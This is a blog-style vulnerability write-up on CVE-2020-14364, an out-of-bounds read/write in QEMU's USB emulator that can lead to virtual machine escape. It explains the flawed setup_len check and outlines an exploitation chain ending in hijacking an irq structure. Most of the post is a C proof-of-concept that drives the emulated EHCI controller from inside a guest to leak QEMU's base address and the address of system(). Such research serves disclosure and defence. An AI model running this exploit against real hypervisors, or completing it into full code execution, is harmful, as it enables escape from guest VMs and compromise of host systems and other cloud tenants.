Post

Qemu Virtual Machine Escape Vulnerability Cve 2020 14364

Qemu Virtual Machine Escape Vulnerability Cve 2020 14364

QEMU virtual machine escape vulnerability CVE-2020-14364

Vulnerability Description

On August 24, local time, an out-of-bounds read and write vulnerability (CVE-2020-14364) that exists in the QEMU USB simulator was announced.

The vulnerability is located in ./hw/usb/core.c. When the program handles USB packets from the client, if ‘USBDevice->setup_len’ exceeds USBDevice->data_buf[4096] in do_token_in and do_token_out, there is a problem.

Client users may use this vulnerability to crash the QEMU process, resulting in DoS or executing arbitrary code on the host with the privileges of the QEMU process, enabling virtual machine escape.

If an attacker has permissions to the virtual machine operating system in the cloud environment, he can use this vulnerability to obtain host permissions, and then attack all tenant hosts of the resource pool where the virtual machine is located, and even attack the management domain system through the enabled intranet permissions, which is extremely risky.

The vulnerability has a wide range of impact and involves all versions of qemu 1.0 or above.

Vulnerability Impact

Qemu > 1.0

Vulnerability reappears

The USB bus communicates with the USB device by creating a USB packet object.

The Usbpacket object contains the following key content

img

The pid indicates the type of packet, and there are three types in, out, setup, and ep point to the endpoint object, and the target usb device is located through this structure.

The data exchanged into the data_buf of the buffer in the usbdevice and the buffer applied by the usb_packet_map in the usbpacket object are implemented through the usb_packet_copy function. In order to prevent the buffer lengths of the two, the transmitted length is limited by s->setup_len.

img

The vulnerability exists in the do_token_setup process of s->setup_len assignment.

img

Although checking is performed, since the value of s->setup_len has been set before verification, the out-of-bounds read and write vulnerability will occur when using usb_packet_copy in do_token_in or do_token_out after verification.

1. Leak the address of the USBdevice object and observe the readable content beyond the bounds to find that the object address of the USBdevice can be obtained from the ep_ctl->dev below

img

`2. Through the object address of usbdevice, we can get the location of s->data_buf. After that, we only need to overwrite the setup_index below as the target address -(s->data_buf) to realize writing of any address.

`3. We also need to obtain any address read function, setup_buf [0] controls the write direction, and can only be modified by do_token_setup.

`4. Read the content of the usbdevice object through any address to obtain the ehcistate object address, and use any address to read the content of the ehcistate object again to obtain the ehci_bus_ops_companion address.

`5. Forge the irq structure in data_buf.

`6. Hijack the irq object in ehcistate with a forged structure.

</a-alert>


Vulnerability POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <errno.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <stdbool.h>
#include <netinet/in.h> 

unsigned char* mmio_mem;
char *dmabuf;
struct ohci_hcca * hcca;
struct EHCIqtd * qtd;
struct ohci_ed * ed;
struct ohci_td * td;
char *setup_buf;
uint32_t *dmabuf32;
char *td_addr;
struct EHCIqh * qh;
struct ohci_td * td_1;
char *dmabuf_phys_addr;
typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;

struct USBEndpoint {
    uint8_t nr;
    uint8_t pid;
    uint8_t type;
    uint8_t ifnum;
    int max_packet_size;
    int max_streams;
    bool pipeline;
    bool halted;
    USBDevice *dev;
    USBEndpoint *fd;
    USBEndpoint *bk;
};

struct USBDevice {
    int32_t remote_wakeup;
    int32_t setup_state;
    int32_t setup_len;
    int32_t setup_index;
    USBEndpoint ep_ctl;
    USBEndpoint ep_in[15];
    USBEndpoint ep_out[15];
};


typedef struct EHCIqh {
    uint32_t next;                    /* Standard next link pointer */
    /* endpoint characteristics */
    uint32_t epchar;
    /* endpoint capabilities */
    uint32_t epcap;
    uint32_t current_qtd;             /* Standard next link pointer */
    uint32_t next_qtd;                /* Standard next link pointer */
    uint32_t altnext_qtd;
    uint32_t token;                   /* Same as QTD token */
    uint32_t bufptr[5];               /* Standard buffer pointer */
} EHCIqh;

typedef struct EHCIqtd {
    uint32_t next;                    /* Standard next link pointer */
    uint32_t altnext;                 /* Standard next link pointer */
    uint32_t token;
    uint32_t bufptr[5];               /* Standard buffer pointer */
} EHCIqtd;

uint64_t virt2phys(void* p)
{
    uint64_t virt = (uint64_t)p;
    // Assert page alignment
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");
    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);
    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");
    // Assert page present

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
    return phys;
}

 

void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

 
void mmio_write(uint32_t addr, uint32_t value)
{
    *((uint32_t*)(mmio_mem + addr)) = value;
}

 

uint64_t mmio_read(uint32_t addr)
{
    return *((uint64_t*)(mmio_mem + addr));
}

void init(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
        die("mmap");
    mlock(dmabuf, 0x3000);
hcca=dmabuf;
dmabuf32=dmabuf+4;
qtd=dmabuf+0x200;
qh=dmabuf+0x100;
setup_buf=dmabuf+0x300;
}

void init_state(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
struct EHCIqtd * qtd;
qtd=dmabuf+0x200;
qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
setup_buf[6]=0xff;
setup_buf[7]=0x0;
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}

void set_length(uint16_t len,uint8_t in){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);
setup_buf[0]=in;
setup_buf[6]=len&0xff;
setup_buf[7]=(len>>8)&0xff;
qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);

qtd->token=1<<7 | 2<<8 | 8<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x300);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}

void do_copy_read(){
mmio_write(0x64,0x100);
mmio_write(0x64,0x4);

qh->epchar=0x00;
qh->token=1<<7;
qh->current_qtd=virt2phys(dmabuf+0x200);
qtd->token=1<<7 | 1<<8 | 0x1f00<<16;
qtd->bufptr[0]=virt2phys(dmabuf+0x1000);
qtd->bufptr[1]=virt2phys(dmabuf+0x2000);
dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;
mmio_write(0x28,0x0);
mmio_write(0x30,0x0);
mmio_write(0x38,virt2phys(dmabuf));
mmio_write(0x34,virt2phys(dmabuf));
mmio_write(0x20,0x11);
}

int main()
{
    init();
    iopl(3);
    outw(0,0xc0c0);
    outw(0,0xc0e0);
    outw(0,0xc010);
    outw(0,0xc0a0);
    sleep(3);
    init_state();
    sleep(2);
    set_length(0x2000,0x80);
    sleep(2);
    do_copy_read();
    sleep(2);
    struct USBDevice* usb_device_tmp=dmabuf+0x2004;
    struct USBDevice usb_device;
    memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
    uint64_t dev_addr=usb_device.ep_ctl.dev;
    uint64_t *tmp=dmabuf+0x24f4;
    long long base=*tmp;
    if(base == 0){
        printf("INIT DOWN,DO IT AGAIN");
        return 0;
}
    base-=0xee5480-0x2668c0;
    uint64_t system=base+0x2d9610;
    puts("\\\\\\\\\\\\\\\\\\\\\\\\");
    printf("LEAK BASE ADDRESS:%llx!\n",base);
    printf("LEAK SYSTEM ADDRESS:%llx!\n",system);
    puts("\\\\\\\\\\\\\\\\\\\\\\\\");
}
This post is licensed under CC BY 4.0 by the author.